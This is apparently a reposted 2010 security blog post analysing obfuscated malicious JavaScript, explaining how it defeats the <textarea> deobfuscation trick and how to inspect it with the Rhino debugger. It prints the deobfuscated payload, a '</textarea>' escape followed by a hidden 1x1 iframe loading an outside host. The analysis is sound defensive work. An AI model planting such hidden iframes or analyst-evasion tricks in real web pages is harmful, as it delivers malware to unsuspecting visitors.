Beware of </textarea>
Now, as the first method failed, you might want to try Tom Liston’s <textarea> method. First of all, I hope that you are aware that whenever you run code like this that you should do it in an isolated environment because you are running live, potentially malicious code. This is even more important in this case.
I’ll skip right to the point – when this program is deobfuscated, the result will be this:
</textarea><iframe src="http://[REMOVED]" width=1 height=1 style="border: 0px"></iframe>
What does this do? It closes the <textarea> tag that you might have put before. In other words, if you were running this in your browser and you used method 2)
you would actually execute the malicious code! It is obvious that author of this code came prepared for analysts!
Next to method 3). In this case, method 3) isn’t really applicable as the deobfuscation code is way too complex to be rewritten in perl (if you really do it let me know).
So what are we left with? Method 4, or (my favourite), a debugger.
Defeating the obfuscation
One relatively easy way to deobfuscate this is to use SpiderMonkey, which is Mozilla’s JavaScript engine released as a standalone. It will not work just out of the box, though, as the JavaScript engine will not know what to do with document.write(), but folks at Websense wrote two nice JavaScript programs that you can use so you don’t have to replace any document.write() calls. Their method is explained at
http://www.websense.com/securitylabs/bl ... ?BlogID=98, it’s a nice read that I definitely recommend.
I personally prefer to look at things with a debugger, though, so I’ll explain how to do this with Rhino. Rhino is Mozilla’s JavaScript debugger. It has a nice GUI and is written in Java, so it will work on any platform. You just must make sure that you have JRE installed.
A lot of users have problems starting it – you have to make sure that your Java classpath will be set to js.jar file that comes with Rhino, otherwise Java will not know how to find the class it needs. In the example below, I’ve extracted Rhino in the D:\Rhino directory and the malicious JavaScript file (with all HTML tags stripped out) is in d:\malware.js. Rhino should be started with the following command:
D:> java –classpath D:\Rhino\js.jar org.mozilla.javascript.tools.debugger.Main D:\malware.js
This will open a nice GUI window that is pretty much self explanatory. It is advised that you make the code human readable before this as that will allow you to set breakpoints easier – and as we’ve seen, in this case you can do it as the deobfuscation function will strip out white spaces.
You can now either step through the program, debug it and see how it works, or simply set a break point on the document.write() call and then inspect the I4D790 variable, as shown below:
See website for screen shot.....
You can see that it contains the code that would have been executed in the browser.
As we saw, malware authors are definitely improving their work and are, almost certainly, aware of methods that analysts use. In this case, the </textarea> tag was directed against analysts, as it made no other sense in the rest of the code. Luckily, whatever has to run on your machine can be analyzed, but it will probably not be as easy to do that as it was in the past, as malware continues to evolve.
UPDATE
Couple of updates with good stuff we've received from our readers:
1) Peter wrote to correct me regarding the Tom Liston's textarea method. This method actually also modifies the function (by adding <textarea> and </textarea> tags before and after the document.write() function call) so it will also fail because of the endless while() loop. This is not directly related to thing that they close the <textarea> tag, but see 2).
2) Aaron sent us a nice function he uses to deobfuscate stuff. Basically, he replaces the document.write() call with a function he defines, called documentwrite. The function looks like this:
function documentwrite(txt){
txt0=txt.replace("textarea","apple")
if(txt == txt0){
document.write("<textarea rows=50 cols=50>");
document.write(txt0);
document.write("</textarea>");
}
else{
txt1=txt.replace("textarea","apple")
documentwrite(txt1)
}
}
So he makes sure that the output will go in a textarea, even if there are nested </textarea> flags. In this case this might even work since the . from document.write() is removed anyway, so this will pass the self checking test this malware implements.
3) An anonymous reader wrote to tell that there might be some dependencies/problems with running Rhino on Linux, due to its Java implementation. Also, on Linux, the classpath parameter is called with "--classpath".
Posted: Thu May 27, 2010 6:52 pm 
